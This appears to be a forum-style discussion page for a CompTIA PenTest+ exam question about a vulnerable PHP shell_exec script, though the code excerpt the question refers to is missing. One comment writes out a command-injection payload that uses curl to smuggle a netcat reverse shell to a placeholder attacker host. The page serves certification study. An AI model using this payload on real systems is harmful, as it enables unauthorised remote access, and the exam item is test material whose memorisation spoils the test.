exam questions

Exam PT1-002 All Questions

View all questions & answers for the PT1-002 exam

Exam PT1-002 topic 1 question 51 discussion

Actual exam question from CompTIA's PT1-002
Question #: 51
Topic #: 1
[All PT1-002 Questions]

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

Which of the following tools will help the tester prepare an attack for this scenario?

  • A. Hydra and crunch
  • B. Netcat and cURL
  • C. Burp Suite and DIRB
  • D. Nmap and OWASP ZAP
Show Suggested Answer Hide Answer
Suggested Answer: B 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
BinarySoldier
Highly Voted 3 years, 5 months ago
I think this should be C. It looks more like a command that takes the user input directly, and therefore it's prone to SQLi, therefore, I would attempt using Burp suite and Dirb for the attack.
upvoted 9 times
strawberryspring
3 years ago
It’s shell exec, not all web app host databases. Burp is a great tool for enumeration and intercepting http requests but that line of code (shell exec) is telling us we could place a reverse shell, trigger it with curl and receive the incoming connection via net at, so the answer is B
upvoted 10 times
...
...
strawberryspring
Highly Voted 3 years ago
It’s b, here’s why: echo shell exec("/http/www/cgi-bin/queryitem <—— This line indicates you can execute a shell if you wanted to. Netcat is for you to open your listener nc -nlvp and receive the shell, in order for you to execute the webshell, you need you make a request via curl.
upvoted 5 times
...
lifehacker0777
Most Recent 2 years ago
Selected Answer: B
Netcat and cURL could be used to exploit this vulnerability. The penetration tester could use cURL to send a request that includes a command to execute a shell, and Netcat to listen for the shell connection and interact with it. In this case, the command to execute a shell could be included in the POST request to the PHP script, like this: curl -X POST -d "item=; nc [attacker IP] [attacker port] -e /bin/bash" http://[target IP]/script.php This command would send a POST request to the script with the value of the "item" parameter set to a command that will execute a shell and connect it back to the attacker's machine using Netcat. Once the request is sent, the attacker can use Netcat to listen for the connection and interact with the shell, allowing them to execute commands on the target system.
upvoted 2 times
...
Dassler
2 years, 10 months ago
Selected Answer: B
Shell Exec = Reverse Shell with netcat
upvoted 4 times
...
tahagoksoy
3 years, 1 month ago
I think the answer is B. you can make a command injection with curl POST and start a reverse shell with the netcat.
upvoted 4 times
...
tokhs
3 years, 4 months ago
Hydra is more cracker tools. and Crunch is wordlist tool. I dont think so it is right answer and C makes more sense to attack
upvoted 3 times
...
rogal
3 years, 4 months ago
Selected Answer: A
I think A is correct, due to fact that the DIRB is a tool for enumerating directories on webserver so it won't help us with making proper query
upvoted 1 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago